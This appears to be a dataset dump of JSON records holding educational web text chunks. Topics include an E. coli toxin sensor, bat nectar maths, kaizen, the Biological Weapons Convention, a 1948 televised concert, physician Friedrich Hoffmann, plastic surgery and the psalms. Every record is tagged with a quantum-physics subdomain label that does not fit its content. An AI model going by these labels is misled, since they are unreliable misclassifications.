e. coli 0157 : h7 interactions. when these toxins are produced, they hunt around for places to bind. when they find the right receptor site, they attempt to bind. this activity in humans causes disease. in the sensor, it is what triggers the color change. \" the backbone of the sensor molecule is composed of a long diacetylene lipid, a molecule similar to the phospholipids that are the building blocks for cell membranes. exposure to uv light links the molecules together by activating a triple bond within the diacetylene lipids, creating a blue - tinted polydiacetylene ( pda ) film. pda films are sensitive to changes on their surface as manifested by the wavelength of light they transmit. when e. coli 0157 : h7 toxins bind to their synthetic membrane surface, the backbone chain of pda reorganizes. the sensor that was blue turns red. with the ability to instantly detect", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.582242715185821, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.525893"} {"text": "the wavelength of light they transmit. when e. coli 0157 : h7 toxins bind to their synthetic membrane surface, the backbone chain of pda reorganizes. the sensor that was blue turns red. with the ability to instantly detect 0157 : h7, health authorities would have a powerful new weapon to combat what has been a continuing series of outbreaks. these include more than 380 cases of food poisoning and 10 deaths in scotland this month, all linked to tainted meat ; more than 60 confirmed cases of infections linked to unpasteurized fruit juice in late october ; 9, 400 cases of food poisoning in japan during the summer of 1995 ; and illnesses involving sausage and hamburger meat contamination in the u. s. in 1993 and 1994. the 0157 : h7 strain thrives in animal fecal material which is why it often shows up in meat. pasteurization of milk and juices - - a simple treatment with heat - - can kill the organism as can thorough cooking of meats. the bacteria strain is a potent health threat. undoubtedly, numerous unreported outbreaks of e. coli related disease have occurred. children and the elderly are particularly susceptible to infections. symptoms include diarrhea and internal bleeding, and death can result. berkeley lab has several patents pending on its sensors, which now are available for licensing to private industry. firms interested in information about licensing should contact viviana wolinsky in the lab ' s technology transfer department. wolinsky can be reached at 510 - 486 - 6467 or via e - mail at firstname. lastname @ example. org. berkeley lab conducts unclassified scientific research for the u. s. department of energy. it is located in berkeley, california and is managed by the university of california.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5497748618085221, "token_count": 363, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.526656"} {"text": "lesser long - nosed bats : nectar - powered bat math! counting the calories in cactus contributed by ginny dalton, bat biologist merlin d. tuttle, bci ever wonder : how much energy does it take to operate a bat? how many flowers must a bat visit to stay alive? get ready to count the calories in a cactus flower! after reading this page, you ' ll know everything necessary to answer these questions : - how many saguaro flowers does a bat have to visit to sustain it for one day? - for how many minutes does a bat have to forage to get the nectar it needs - how many saguaro plants do you think would be needed to feed a maternity colony of 10, 000 leptos? is the minimum number of hectares of land required to feed a bat colony containing 10, 000 much energy to operate a bat? let ' s look at how much energy is required by an adult lepto. here ' s an animal with a big energy demand for its size! ( now, nobody has ever measured this exactly for leptos, but we can use information about other bats and extend the results logically. ) it takes roughly 20. 2 kcal to maintain one of these bats for a day. a lepto uses about 100 times less energy in a day than a human does, as you can see on the chart below. but it weighs 2, 000 times less. obviously it takes more energy to operate an ounce of bat that an ounce of human! why? well, for one thing, bats fly - - and the energetic cost of flight is high. * note about calories : there is confusion in the layman ' s literature regarding calories. the calorie in everyday use is actually a kilocalorie ( kcal, also designated calorie, with a capital \" c \" ), 1000 times larger than a calorie with a lower case \" c \" ). in fact, the makers of labels on food boxes and cans in the grocery store are careless in their representation of this energy unit. the labels correctly use the upper case when stating total calories of the food within, but then many of them say \" based on a 2, 000 calorie diet. \" note the lower case \" c. \" if literally interpreted, it is based on a 2 cal ( or kcal ) diet, which doesn ' t make any sense. you and i can ' t live on 2 calories a day!! they actually", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.444892030469059, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.532330"} {"text": "the lower case \" c. \" if literally interpreted, it is based on a 2 cal ( or kcal ) diet, which doesn ' t make any sense. you and i can ' t live on 2 calories a day!! they actually meant to write \" calorie ; \" instead they wrote \" calorie. \" calories in cactus flowers how much energy is available in the nectar of the flowers leptos visit? ( lepto is short for leptonycteris curasoae, or lesser long - nosed bats. ) it has been calculated that the nectar in saguaro flowers is about 24 % sugar. this nectar if very sweet : for comparison, classic coke is 10 % sugar! each flower holds about 1. 0 ml ( milliliter ) nectar. a single bat only takes about 0. 1 ml with each visit to a flower. a bat ' s stomach can hold about 4 ml of fluid when full. of those stomachs measured, 3 ml are sugar water and the remaining 1 ml was pollen. there are about 4 calories ( = 0. 004 kcal ) in a mg ( milligram ) of sugar. there is 1. 0 mg sugar in each microliter (. 001 ml ) of nectar. so how many calories in 1. 0 ml, the amount a flower holds? if a bat drains an entire flower, how many visits would the bat have to make to the flower? and how many total calories would it get from that single flower? ( don ' t forget to multiply your answer in cal / ml by 0. 24 since the nectar contains only 24 % sugar. ) i got 960 cal ( 0. 960 kcal ) in a single flower that contains 1. 0 ml nectar. so, since a bat takes about 0. 1 ml for each visit, a bat would have to visit about 10 flowers to get those 960 cal. q. how many flowers total does a bat have to visit to sustain it for one day ( 20, 200 cal = 20. 2 8 flowers per saguaro per night, how many saguaro plants would have to be visited? _ _ _ _ _ _ _ it takes about 30 seconds per visit to a flower ( that includes transit time to the flower ) for one sip ( 0. 1 ml ) of nectar. that makes us wonder : q. for how many minutes does a bat have to be flying to get the nectar it needs each day ( 24 hours )? _ _", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47639087285857545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.533219"} {"text": "time to the flower ) for one sip ( 0. 1 ml ) of nectar. that makes us wonder : q. for how many minutes does a bat have to be flying to get the nectar it needs each day ( 24 hours )? _ _ _ _ _ _ _ _ _ _ _ _ _ more bat math : mama and baby bats each female gives birth to a single young each year. just think how much energy will be needed by the pregnant bats after they give birth and start nursing! not enough information is available for calculating the exact requirements for pregnant females, but a near - term fetus of a 22 - gram female bat can weigh as much as 8 grams. a pregnant bat carrying that heavy a load can require about 40 % more power for flight. of all the calculations conducted on females during the various reproductive stages, lactation ( when the young are nursing ) is the most energetically demanding on the female. that, for the two months a female is pregnant, she requires an average of 27 flowers per night, since pregnant females require more energy. during pregnancy, how many flowers will one female require? _ _ _ _ _ _ how many flowers will be required by 10, 000 females? _ _ _ _ _ _ _ from studies conducted around tucson, arizona, the average saguaro produces 295 flowers per plant per growing season. ( a single plant blooms from 27 to 61 days and each plant can produce from 82 to 980 blossoms! ) q. how many saguaro plants do you think would be needed to feed a maternity colony of 10, 000 leptos? _ _ _ _ _ _ _ _ _ are 6 saguaro plants per hectare on average. using the figure of 295 flowers per plant per nearly 2 - month season, what is the minimum number of hectares of land required to feed a bat colony containing 10, 000 pregnant bats? _ _ _ _ _ _ _ _ _ _ _ _ _ _ _", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44058912564638675, "token_count": 393, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.533893"} {"text": "kaizen is a japanese word which means continuous improvement. under this model it is believed that ongoing small changes will help the organisation to continuously progress or as some commentators have said \u201c evolve \u201d. as they are small changes they can apply to all areas of the business. under kaizen theory there is no limit to continuous improvement, so the improvement process will never end. anyone and everyone under kaizen theory all employees at all levels can come up with a change. it is believed that changes suggested by the people involved in the processes ( that the changes are about ) are going to be more effective. this is because such people have first hand experience of the process, they are aware of problems and their impact ; they may even be involved in previous changes that were not effective. kaizen theory values employees and invests in them. in a kaizen environment every employee has two jobs ; their company job and their job to look for areas which could benefit from improvement and provide suggestions on how to improve. the challenge for the management team is to convince employees that they have two jobs and one is just as important as the other. teamwork and cells for a kaizen business teamwork is paramount. employees will work together to improve individual and team performance. each team is known as a cell and will be responsible for a particular area of production. each cell is believed to be experts in their area of production and will be encouraged to hold discussions ( quality circles ) about how production can be improved. a kaizen organisation will gave each idea serious consideration and decide on which ones to implement. such consideration and implementation is important, if employees ' ideas are not implemented they will lose faith in the kaizen ethos and kaizen strategy will fail. targets and \u201c level \u2013 up \u201d to encourage employees to suggest ideas, kaizen includes setting employee and cell targets. achievement against targets will be on display so that everyone in the company can see how well the cell is doing. the posters showing a cells performance against their targets is known a \u201c level - up \u201d chart", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6050346415330041, "token_count": 409, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.537466"} {"text": "the states parties to this convention, determined to act with a view to achieving effective progress towards general and complete disarmament, including the prohibition and elimination of all types of weapons of mass destruction, and convinced that the prohibition of the development, production and stockpiling of chemical and bacteriological ( biological ) weapons and their elimination, through effective measures, will facilitate the achievement of general and complete disarmament under strict and effective international control, recognising the important significance of the protocol for the prohibition of the use in war of asphyxiating, poisonous or other gases, and of bacteriological methods of warfare, signed at geneva on 17 june 1925, and conscious also of the contribution which the said protocol has already made, and continues to make, to mitigating the horrors of war, reaffirming their adherence to the principles and objectives of that protocol and calling upon all states to comply strictly with them, recalling that the general assembly of the united nations has repeatedly condemned all actions contrary to the principles and objectives of the geneva protocol of 17 june 1925, desiring to contribute to the strengthening of confidence between peoples and the general improvement of the international atmosphere, desiring also to contribute to the realisation of the purposes and principles of the charter of the united nations, convinced of the importance and urgency of eliminating from the arsenals of states, through effective measures, such dangerous weapons of mass destruction as those using chemical or bacteriological ( biological ) agents, recognising that an agreement on the prohibition of bacteriological ( biological ) and toxin weapons represents a first possible step towards the achievement of agreement on effective measures also for the prohibition of the development, production and stockpiling of chemical weapons, and determined to continue negotiations to that end, determined for the sake of all mankind, to exclude completely the possibility of bacteriological ( biological ) agents and toxins being used as weapons, convinced that such use would be repugnant to the conscience of mankind and that no effort should be spared to minimise this risk, have agreed as follows : each state party to this convention undertakes never in any circumstances to develop, produce, stockpile or otherwise acquire or retain : ( 1 ) microbial or other biological agents, or toxins whatever their origin or method of production, of types and in quantities that have no justification for prophylactic, protective or other peaceful purposes ; each state party to this convention undertakes to destroy, or to divert to peaceful purposes, as soon as possible but not", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5343657663172205, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.544670"} {"text": "origin or method of production, of types and in quantities that have no justification for prophylactic, protective or other peaceful purposes ; each state party to this convention undertakes to destroy, or to divert to peaceful purposes, as soon as possible but not later than nine months after the entry into force of the convention, all agents, toxins, weapons, equipment and means of delivery specified in article i of the convention, which are in its possession or under its jurisdiction or control. in implementing the provisions of this article all necessary safety precautions shall be observed to protect populations and the environment. each state party to this convention undertakes not to transfer to any recipient whatsoever, directly or indirectly, and not in any way to assist, encourage, or induce any state, group of states or international organisations to manufacture or otherwise acquire any of the agents, toxins, weapons, equipment or means of delivery specified in article i of the convention. each state party to this convention shall, in accordance with its constitutional processes, take any necessary measures to prohibit and prevent the development, production, stockpiling, acquisition or retention of the agents, toxins, weapons, equipment and means of delivery specified in article i of the convention, within the territory of such state, under its jurisdiction or under its control anywhere. the states parties to this convention undertake to consult one another and to co - operate in solving any problems which may arise in relation to the objective of, or in the application of the provisions of, the convention. consultation and co - operation pursuant to this article may also be undertaken through appropriate international procedures within the framework of the united nations and in accordance with its charter. ( 1 ) any state party to this convention which finds that any other state party is acting in breach of obligations deriving from the provisions of the convention may lodge a complaint with the security council of the united nations. such a complaint should include all possible evidence confirming its validity, as well as a request for its consideration by the security council. ( 2 ) each state party to this convention undertakes to co - operate in carrying out any investigation which the security council may initiate, in accordance with the provisions of the charter of the united nations, on the basis of the complaint received by the council. the security council shall inform the states parties to the convention of the results of the investigation. each state party to this convention undertakes to provide or support assistance, in accordance with the united nations charter, to any party to the convention which so requests, if the security council decides that such party has been exposed", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48803184446379244, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.546383"} {"text": "of the results of the investigation. each state party to this convention undertakes to provide or support assistance, in accordance with the united nations charter, to any party to the convention which so requests, if the security council decides that such party has been exposed to danger as a result of violation of the convention. nothing in this convention shall be interpreted as in any way limiting or detracting from the obligations assumed by any state under the protocol for the prohibition of the use in war of asphyxiating, poisonous or other gases, and of bacteriological methods of warfare, signed at geneva on 17 june 1925. each state party to this convention affirms the recognised objective of effective prohibition of chemical weapons and, to this end, undertakes to continue negotiations in good faith with a view to reaching early agreement on effective measures for the prohibition of their development, production and stockpiling and for their destruction, and on appropriate measures concerning equipment and means of delivery specifically designed for the production or use of chemical agents for weapons purposes. ( 1 ) the state parties to this convention undertake to facilitate, and have the right to participate in, the fullest possible exchange of equipment, materials and scientific and technological information for the use of bacteriological ( biological ) agents and toxins for peaceful purposes. parties to the convention in a position to do so shall also co - operate in contributing individually or together with other states or international organisations to the further development and application of scientific discoveries in the field of bacteriology ( biology ) for the prevention of disease, or for other peaceful purposes. ( 2 ) this convention shall be implemented in a manner designed to avoid hampering the economic or technological development of states parties to the convention or international co - operation in the field of peaceful bacteriological ( biological ) activities, including the international exchange of bacteriological ( biological ) agents and toxins and equipment for the processing, use or production of bacteriological ( biological ) agents and toxins for peaceful purposes in accordance with the provisions of the convention. any state party may propose amendments to this convention. amendments shall enter into force for each state party accepting the amendments upon their acceptance by a majority of the state parties to the convention and thereafter for each remaining state party on the date of acceptance by it. five years after the entry into force of this convention, or earlier if it is requested by a majority of parties to the convention by submitting a proposal to this effect to the depositary governments, a conference of states parties to the convention shall", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4967443385611643, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.548470"} {"text": "it. five years after the entry into force of this convention, or earlier if it is requested by a majority of parties to the convention by submitting a proposal to this effect to the depositary governments, a conference of states parties to the convention shall be held at geneva, switzerland, to review the operation of the convention, with a view to assuring that the purposes of the preamble and the provisions of the convention, including the provisions concerning negotiations on chemical weapons, are being realised. such review shall take into account any new scientific and technological developments relevant to the convention. ( 2 ) each state party to this convention shall in exercising its national sovereignty have the right to withdraw from the convention if it decides that extraordinary events, related to the subject matter of the convention, have jeopardised the supreme interests of its country. it shall give notice of such withdrawal to all other states parties to the convention and to the united nations security council three months in advance. such notice shall include a statement of the extraordinary events it regards as having jeopardised its supreme interests. ( 2 ) this convention shall be subject to ratification by signatory states. instruments of ratification and instruments of accession shall be deposited with the governments of the united kingdom of great britain and northern ireland, the union of soviet socialist republics and the united states of america, which are hereby designated the depositary governments. ( 5 ) the depositary governments shall promptly inform all signatory and acceding states of the date of each signature, the date of deposit of each instrument of ratification or of accession and the date of the entry into force of this convention, and of the receipt of other notices. this convention, the english, russian, french, spanish and chinese texts of which are equally authentic, shall be deposited in the archives of the depositary governments. duly certified copies of the convention shall be transmitted by the depositary governments to the governments of the signatory and acceding states.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5350690491961072, "token_count": 392, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.549425"} {"text": "| the first televised orchestra concert philadelphia orchestra during the first televised orchestra concert photograph by jules schick 20 march 1948 at 5 : 00 p. m. on 20 march 1948, the philadelphia orchestra made broadcasting history as the first american orchestra to perform on network television. the hour - long concert, produced by wcau - tv, the philadelphia affiliate of the columbia broadcasting system ( cbs ), was broadcast live from the academy of music at the corner of broad and locust streets. the broadcast followed close on the heels of an agreement between the american federation of musicians, led by james petrillo, and the networks, which ended a three - year ban on live music performances on television. once the agreement had been reached, the networks jockeyed for the distinction of being the first to televise an orchestra concert. soon after the national broadcasting company ( nbc ) had announced plans to telecast an hour - long all - wagner concert by the nbc symphony orchestra under arturo toscanini at 6 : 30 p. m. on 20 march 1948, cbs countered by scheduling a concert by the philadelphia orchestra for the same evening, ninety minutes earlier. the philadelphia orchestra performed two works : the overture to carl maria von weber ' s opera der freischutz and the recently rediscovered symphony no. 1 by sergei rachmaninoff, which had received its united states premiere by the orchestra the previous evening.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3841342039422117, "token_count": 279, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.551773"} {"text": "halle study physician hoffmann, friedrich ( 1660 - 1742 ), the most famous physician in a family that had been connected with medicine for 200 years before him, was born at halle, february 19, 1660. he received his school education at the gymnasium of his native town, where he acquired that taste fur and skill in mathematics to which he attributed much of his after success. at the age of eighteen he went to study medicine at jena, whence in 1680 he passed to erfurt, in order to attend kasper cramer ' s lectures on chemistry. next year, returning to jena, he received his doctor ' s diploma, and, after publishinu\u00b0 a thesis, was permitted to teach. constant study then began to tell on his health, and in 1682, leaving his already numerous pupils, he proceeded to minden in westphalia to recruit himself, at the request of a relative who held a high position in that town. after practising his profession at minden for two years, hoffmann made a journey to holland and england, where he formed the acquaintance of many illustrious chemists and physicians. towards the end of 1684 he returned to minden, and during the next three years he received many flattering appointments. in 1688 he removed to the more promising sphere of halberstadt, with the title of physician to the principality of halberstadt ; and on the founding of halle university in 1693, his reputation, which had been steadily increasing, procured for him the primarius chair of medicine, while at the stun. ; time he was charged with the responsible duty of framing the statutes for the new medical faculty. he filled also the chair of natural philosophy -. with the exception of four years ( 1708 - 12 ), which he passed at berlin in the capacity of royal physician, without however giving up his professorship, hoffmann spent the rest of his life at halle in instruction, practice, and study, interrupted now and again by visits to different courts of germany, where his services procured him honours and rewards. his fame became european. he was enrolled a member of many learned societies in different foreign countries, while in his own he became privy councillor. he died at halle, on november 12, 1742. hoffmann ' s writings, the result bath of compilation and original research, have still a considerable suggestive value, his theories, though sometimes vague and even idle, contributed in some degree to introduce a revolution in medical science ; while his doctrine of atuny and spasm in the living solid as the sole cause of internal", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41960968097340595, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.554566"} {"text": "what is plastic surgery? plastic surgery is a medical specialty focused on the reconstruction of injured, impaired and defective parts of the face and body. reconstructive plastic surgery may be required as a result of birth defects or developmental disorders, injuries, burns and tumors or other diseases. although reconstructive plastic surgery may restore or improve a patients \u2019 appearance, the primary focus of plastic surgery is the restoration of the body. the term \u201c plastic \u201d derives from the greek term \u201c plastikos \u201d which means \u201c able to be molded \u201d. what procedures does a plastic surgeon perform? generally speaking, reconstructive plastic surgery involves the removal of tumors, repair of fractured bones and lacerations on the face and body, surgery on the hands, breast reduction ( in women and men ) and reconstruction, repair of cleft palates and other congenital abnormalities and skin grafts to repair severe burns. plastic surgeons can also create new body parts from tissue and skin, such as an ear, and attach it to a patient ; they also reattach amputated extremities. plastic surgery is an extensive field that has been broken down into the following subspecialties : is cosmetic surgery different than plastic surgery? - microsurgery \u2013 microsurgery entails the transfer of tissue, skin, muscle, bone or fat to other areas of the body where needed on the face and body, as well as the reconnection of blood vessels. popular procedures include breast reconstruction, head and neck reconstruction and hand surgery. - hand surgery \u2013 a part of microsurgery, hand surgery is practiced by hand surgeons, plastic surgeons, orthopedic surgeons and general surgeons. it focuses on the reconstruction of acute and chronic diseases of the hand and wrist, nerve problems ( carpal tunnel syndrome ) and the correction of congenital malformations of the hands as well as the reattachment of amputated extremities. - burn surgery \u2013 acute burn surgery is the treatment immediately after a burn ; reconstructive burn surgery takes place after the burn wounds have healed. common burn surgery procedures are skin grafts, in which areas of skin are transplanted to cover a burned area of skin. - craniofacial surgery \u2013 pediatric craniofacial surgery focuses on the reconstruction of congenital anomalies of the hard and soft tissues of the face, such as cleft lip and palate. adult craniofacial surgery focuses on the reconstruction of facial fractures, as well as orbital reconstruction (", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48281540615391205, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.559632"} {"text": "surgery focuses on the reconstruction of congenital anomalies of the hard and soft tissues of the face, such as cleft lip and palate. adult craniofacial surgery focuses on the reconstruction of facial fractures, as well as orbital reconstruction ( area of the face around the eyes ) and orthognathic surgery ( surgery on the jaw and face to correct conditions such as sleep apnea or tmj ). - pediatric surgery \u2013 pediatric surgery is a blend of hand surgery and craniofacial surgery, dealing with deformities and defects in children. cosmetic surgery is a subspecialty of plastic surgery. however, unlike plastic surgery, cosmetic surgery is primarily focused on enhancing a patient \u2019 s appearance. cosmetic surgery can be performed on all areas of the head, neck and body, and is typically elective ( i. e. the necessity is at the discretion of the patient ). some of the most common cosmetic procedures include breast surgery ( either augmentation such as with implants sometimes desired after surgery for removal of cancers of the breast, or breast reduction desired for proportion or to improve comfort ), rhinoplasty or \u201c nose job \u201d, blepharoplasty or \u201c eyelid surgery \u201d, abdominoplasty or \u201c tummy tuck \u201d and liposuction. popular nonsurgical procedures include botox injections and laser hair removal.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45148095378088376, "token_count": 285, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.560164"} {"text": "probably more commentaries, study guides, and helps have been published on the book of psalms than on any other book of the bible. it is not my purpose here to supplant those other works. rather, i want to offer some suggestions to the christian on how to use the psalms so that he can then more profitably use these other works on the psalms. the psalms themselves were written throughout the entire period of old testament revelation, from the time of moses ( psalm 90 ) to the period after the exile ( psalm 126 ). the titles of seventy - two psalms ascribe them to david, while others are by solomon, asaph, heman, and the sons of korah. some of the psalms may have been used in temple worship ( hence the phrase \u201c to the choirmaster \u201d in more than fifty psalm titles ). the psalms are of different types. some are laments, both individual ( psalm 42 ) and corporate ( psalm 44 ). some are psalms of thanksgiving ( psalm 100 ), while others are hymns, or songs of praise ( psalm 96 ). some of the psalms are commonly referred to today as \u201c wisdom \u201d psalms, such as psalms 1 and 119. these psalms tend to be reflections on the word of god. some psalms, such as psalms 69 and 109 are referred to as \u201c imprecatory \u201d psalms, in which the substance of the psalm is a prayer against the enemies of god ( an imprecation ). the new testament writers refer to the book of psalms more often than any other book of the old testament. this tells the reader that one major focus of the psalms is the work of the messiah and his kingdom. since christ had not yet appeared, he is spoken of generally in types and shadows in the character of the davidic king. in some psalms, however, traditionally called \u201c messianic psalms, \u201d christ is spoken of directly and clearly. these messianic psalms include psalms 2, 22, 45, 72 and 110. hence one use of the book of psalms for the modern reader is to search there for christ. ( a very useful guide in this endeavor is william binnie \u2019 s the psalms : their history, teachings and use, recently reprinted as a pathway into the psalter, solid ground christian books, 2005 ). however, the book of psalms has another use as well. it is, as calvin says, \u201c an anatomy of all the parts of the soul. \u201d it is a guide to piety for the believer. in particular the book of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44881546410053375, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.568993"} {"text": "2005 ). however, the book of psalms has another use as well. it is, as calvin says, \u201c an anatomy of all the parts of the soul. \u201d it is a guide to piety for the believer. in particular the book of psalms provides guidance for the christian in four areas : meditation, expostulation, prayer, and song. the art of christian meditation is in our age largely a lost art, though our puritan and reformed forefathers wrote dozens of treatises on the subject. the term meditation has been appropriated by the practitioners of eastern and new age religions. insofar as meditation has come in to the evangelical church it has often come in under a baptizing of these new age ideas. meditation, as understood and practiced by new age religions, is an emptying of the mind. it is an attempt to achieve a sort of mindless spiritual condition in which the one meditating becomes open to \u201c spiritual forces, \u201d having been emptied, as it were, of himself and thus ostensibly open to the presence of god. the book of psalms, on the other hand, teaches the reader what true biblical meditation is. consider psalm 1 : 2 : \u201c his delight is in the law of the lord, and on his law he meditates day and night. \u201d in understanding the point this verse makes, it first must be understood that law here is not limited to the legal sections of the old testament. the word translated law is torah, and it means not just legal statements but \u201c every word that comes from the mouth of the lord \u201d ( deut. 8 : 3 ). thus, the practice of christian meditation is an intellectual, spiritual exercise in which the believer reflects on and considers the word of god, seeking first to understand it and second to apply it to himself. the word translated meditate has the idea of \u201c mutter, \u201d hence the idea of repeating, chewing over what has been read. psalm 119 is an example for the believer of a meditation on the law of god. virtually every verse in the psalm refers to torah, or some synonym as verse by verse the psalmist seeks to understand the meaning of god \u2019 s word for his own life. a number of the psalms are particularly useful as guides to meditation, among them psalms 1, 34, 37, 49, 111, 112, and 119. expostulation is another word that has virtually disappeared from the modern christian \u2019 s vocabulary. the verb expostulate is defined in webster \u2019 s new collegiate dictionary as \u201c to reason earnestly", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5310470169308789, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.570075"} {"text": ", 37, 49, 111, 112, and 119. expostulation is another word that has virtually disappeared from the modern christian \u2019 s vocabulary. the verb expostulate is defined in webster \u2019 s new collegiate dictionary as \u201c to reason earnestly with a person for purposes of dissuasion or remonstrance. \u201d in the context of the use of the psalms, this has the idea of an earnest reasoning with oneself for the correcting of one \u2019 s views or behavior. talking to oneself, in this sense, is not a bad thing. it is a step beyond meditation in that it takes what the person has learned from the word of god, holds it up as a mirror to his beliefs and practices, and strives to correct those beliefs and practices. thus, a man tempted to sin would expostulate with himself regarding the awfulness of sin, the dishonor it does to god, the damage it does to the man himself, and the greater damage it does to the church at large. this is one significant way in which the christian actively develops a biblical worldview. a number of the psalms are excellent guides to the practice of expostulation. in psalm 11, for example, david has been brought to despair, or discouragement, by the question, \u201c if the foundations are destroyed, what can the righteous do? \u201d ( v. 3 ). in other words, things are falling apart, so you might as well give up. david responds by reminding himself that \u201c the lord is in his holy temple, \u201d \u201c the lord tests the righteous \u201d and hates the wicked, and \u201c the upright shall behold \u201d the face of god ( vv. 4 \u2013 7 ). in other words, david reminds himself, based on the things he has learned from god \u2019 s word, that regardless of how things seem god is still in control and he is the judge of all the earth. other psalms that provide useful models for expostulation are psalms 34, 37, 42, 43, and 62. it is often a sad thing to hear the people of god pray. at least in public prayers ( the only prayers that others can evaluate ) god \u2019 s people often seem to lack vocabulary for prayer. if someone uses the acts approach to prayer ( adoration, confession, thanksgiving, and supplication ) there is usually some brief mention of god \u2019 s greatness and goodness, some generic reference perhaps to our sinful condition, a few words of thankfulness for specific prayers that god has answered, and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5502138275773629, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.571264"} {"text": "confession, thanksgiving, and supplication ) there is usually some brief mention of god \u2019 s greatness and goodness, some generic reference perhaps to our sinful condition, a few words of thankfulness for specific prayers that god has answered, and a laundry list of supplications for those suffering from some illness or other. the christian who meditates on the psalms, however, can develop a powerful vocabulary for prayer. not only are many of the psalms examples of prayer, but even those that are not give us wonderful resources for opening our own hearts to god. look, for example, at the opening verses of psalm 18. david calls god his strength, his rock, his fortress, his deliverer, his refuge, his shield, the horn ( that is, the power ) of his salvation, and his stronghold. what great statements of adoration and thanksgiving! in addition, a little meditation here will remind the christian that david knew himself to be in the midst of spiritual warfare in which god was the sole basis for his comfort, strength, and deliverance. the modern christian is also in the midst of spiritual warfare, though he often seems to forget it, and carries on his life as if the real enemies with which he must do battle are those on the opposite end of the political spectrum. other psalms that give examples of prayers of different kinds are too numerous to list here, but the attentive reader can find them easily. finally, the psalms can be used to teach the christian to sing. the reformed churches developed a virile piety through the singing of psalms. some have the view that christians are required to sing only the psalms in public worship. while i have some sympathies for that view, i do not agree. however, the utter lack of singing of psalms that is characteristic of our age has contributed to the spiritual weakness of the church. not all psalms were intended to be songs, but many are. they can be set to old tunes, or to new tunes, but the church ( and the individual christian ) that seeks to add the singing of the psalms to their practice of praise will greatly enrich themselves. psalms 95 \u2013 100 are particularly potent examples of songs of praise that have a deep and rich understanding of who god is, and his ways and purposes among the sons of men. in brief, the man who would grow as a christian will benefit by reading and meditating on any portion of the word of god. but if a man would grow in the vibrant piety that is the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4507099923883995, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.572266"} {"text": "ways and purposes among the sons of men. in brief, the man who would grow as a christian will benefit by reading and meditating on any portion of the word of god. but if a man would grow in the vibrant piety that is the lifeblood of the virile christian life, he could not do better than to immerse himself in the book of psalms. from them, he will learn what it is to meditate on the word of god. from them he will learn how to expostulate with himself in applying the word of god to his own discouragements and distresses of soul. from the psalms he will learn to pray with power and understanding. finally, from the psalms the christian will learn what it is to sing praise to our gracious savior god. \u00a9 tabletalk magazine permissions : you are permitted and encouraged to reproduce and distribute this material in any format provided that you do not alter the wording in any way, you do not charge a fee beyond the cost of reproduction, and you do not make more than 500 physical copies. for web posting, a link to this document on our website is preferred ( where applicable ). if no such link exists, simply link to www. ligonier. org / tabletalk. any exceptions to the above must be formally approved by tabletalk. please include the following statement on any distributed copy : from ligonier ministries and r. 